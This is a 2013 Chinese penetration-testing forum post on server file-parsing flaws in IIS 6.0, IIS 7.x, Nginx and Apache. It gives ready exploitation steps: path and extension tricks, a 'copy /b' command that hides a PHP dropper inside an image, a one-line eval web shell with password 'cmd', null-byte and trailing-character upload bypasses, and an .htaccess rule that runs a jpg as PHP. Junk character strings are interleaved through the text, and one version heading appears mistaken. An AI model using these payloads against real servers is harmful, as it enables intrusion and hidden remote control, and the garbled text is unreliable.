中国网络渗透测试联盟

标题: 常见服务器解析漏洞总结 [打印本页]

作者: admin    时间: 2013-4-19 19:14
标题: 常见服务器解析漏洞总结
Author : laterain
$ X% s" T  H3 x3 ]" v  ][+]IIS6.0* _: @1 d/ |7 }1 t  l9 B; A2 ^7 _
; K7 P& n1 b$ j( Q
目录解析:/xx.asp/xx.jpg
6 V' @& D/ ~* s! ^) A0 {0 z xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
$ j7 X; h3 N- B. z" e IIS6.0 会将 xx.jpg 解析为 asp 文件。- y# J* w* @! q# e
后缀解析:/xx.asp;.jpg     
8 ^& n$ b+ V' K+ Z$ U; @# Q: U IIS6.0 都会把此类后缀文件成功解析为 asp 文件。' o8 |, M3 |1 U1 |
默认解析:/xx.asa& U2 J6 v, d- P$ o) Y
         /xx.cer
; I! Z, N1 U" I7 c0 y9 `         /xx.cdx
1 V2 [' p' V* e% H# t IIS6.0 默认的可执行文件除了 asp 还包含这三种
4 G; \. f. }; z. I. Q- k9 p6 Y 此处可联系利用目录解析漏洞 ! [/ C0 d; k/ _* t
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg/ g" F# B: N$ q' C
[+]IIS 7.0/IIS 7.5/Nginx <0.8.033 A" E  A$ ^- F& _/ V+ \. _) c) S

' F, v6 A2 `/ W' g2 L9 y IIS 7.0/IIS 7.5/Nginx <0.8.03* \% F6 t# l9 p) r
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
( `8 E2 T8 v* ?6 h9 m$ I 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。+ a$ B6 M+ K& y9 D& M0 l& Y
常用利用方法:) q. w5 ]  m% G' |" K' }
将一张图和一个写入后门代码的文本文件合并将恶意文本' Z  c; X! ~( l6 ?
写入图片的二进制代码之后,避免破坏图片文件头和尾
& B8 X( \/ e  |1 B 如:! K. D; F" R0 r3 g  V9 b
copy xx.jpg /b + yy.txt/a xy.jpg
" f* }' ^: W+ n. g4 d7 x4 O& s/ A #########################################################
# ]$ l4 V' m1 S; L /b 即二进制[binary]模式! L/ H0 \6 m* S
/a 即ascii模式
# G0 z% w4 E( l0 u& T xx.jpg 正常图片文件
$ z% C% P; |/ s yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),, R" O2 E' r4 q9 C) A
'<?php eval($_POST[cmd])?>');?>
2 w  \+ c9 o) l2 G, W 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称% [2 ~5 C9 ~. b6 _$ k/ ^
为shell.php的文件
& w  o. q  _7 G2 f; S/ j ###########################################################
+ [, o5 t" U/ a& L8 E' ? 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php ( D3 ~" S2 T9 }; S
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
( Z/ L3 |6 Y2 d2 ^ 密码 cmd
$ w3 K. a2 U  V( L* F7 h/ F5 A[+]Nginx <0.8.03
# a7 h  B1 K6 ^! e; {' D, D
2 T/ ^, M) j, u% e6 l, W7 l 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞+ u8 K+ U" e, r
在一个文件路径(/xx.jpg)后面加上%00.php
0 C$ N+ v$ t$ i7 |/ ` 会将 /xx.jpg%00.php 解析为 php 文件。
8 x0 e& ?( }) r[+]Apache<0.8.03
3 |/ [: _3 g& ~9 b8 g( r3 g( o7 z4 W / q( R1 X# g$ J. L
后缀解析:test.php.x1.x2.x3
! a0 Z9 `. R) Z Apache将从右至左开始判断后缀,若x3非可识别后缀,
7 }7 q7 f7 |( q& V 再判断x2,直到找到可识别后缀为止,然后将该可识别
/ X5 |' F( p4 B1 ` 后缀进解析test.php.x1.x2.x3 则会被解析为php4 b* f1 l3 Z/ u* Z/ g* ]8 _/ k
经验之谈:php|php3|phtml 多可被Apache解析。! v( v: B) u, Q! H$ m
[+]其他一些可利用的
  y) ^7 ]) }. d- w9 w9 f- x
/ ~: s! H/ e( e8 H在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
3 `, B9 M3 K( K若这样命名,windows会默认除去空格或点,这也是可以被利用的!
2 h( B/ h( K! o1 a& o# q在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格% y, X0 l; q# Z  a
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
' J) x5 T  `! R! u- i; Q3 C得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
$ @9 j2 \! s* K5 V. L% ?1 ^8 w' C{Linux主机中不行,Linux允许这类文件存在}
- s+ v6 w* {8 i2 H如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说+ y4 z8 V9 @! p; w3 y
的,当初我并不知道),且可以被上传,那可以尝试在
) `9 }& O9 B/ ~( ].htaccess中写入:
- \: C5 S  R. D; k% t$ `3 ^& B& U# Q2 ]<FilesMatch “shell.jpg”> ! L( _, U9 J5 A' z7 E/ {7 ?
SetHandler application/x-httpd-php
) o  F9 r1 E$ i: ~  R</FilesMatch>
$ l5 N8 D9 ^0 @9 s# b# Kshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
0 ]1 c& L  B5 R2 |- C9 [[+]错误修改) X6 Z. {" U6 a0 I1 F
4 H3 b) y2 _) K- y. B: M; F
在 IIS 6.0 下可解析 /xx.asp:.jpg$ Y  R. \( |+ Y
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去3 S7 A% _6 W2 D
剩下/xx.asp}修改:# l# U  h/ ]6 M7 V4 U
先谢谢核攻击的提醒8 f& K1 D/ X+ E: Q  A! A( p+ y
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp% m8 G6 u5 L4 [, ]8 y3 `
里是没有任何内容的,因为。。不好解释 大家自己看
& j" ^" @! A- hhttp://lcx.cc/?i=24481 v# N" g4 Z1 h8 q' C
http://baike.baidu.com/view/3619593.htm
6 j- F" w9 [4 x9 P& B; I2 d2 ~​
0 {# m2 W& s1 S/ P( ]




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2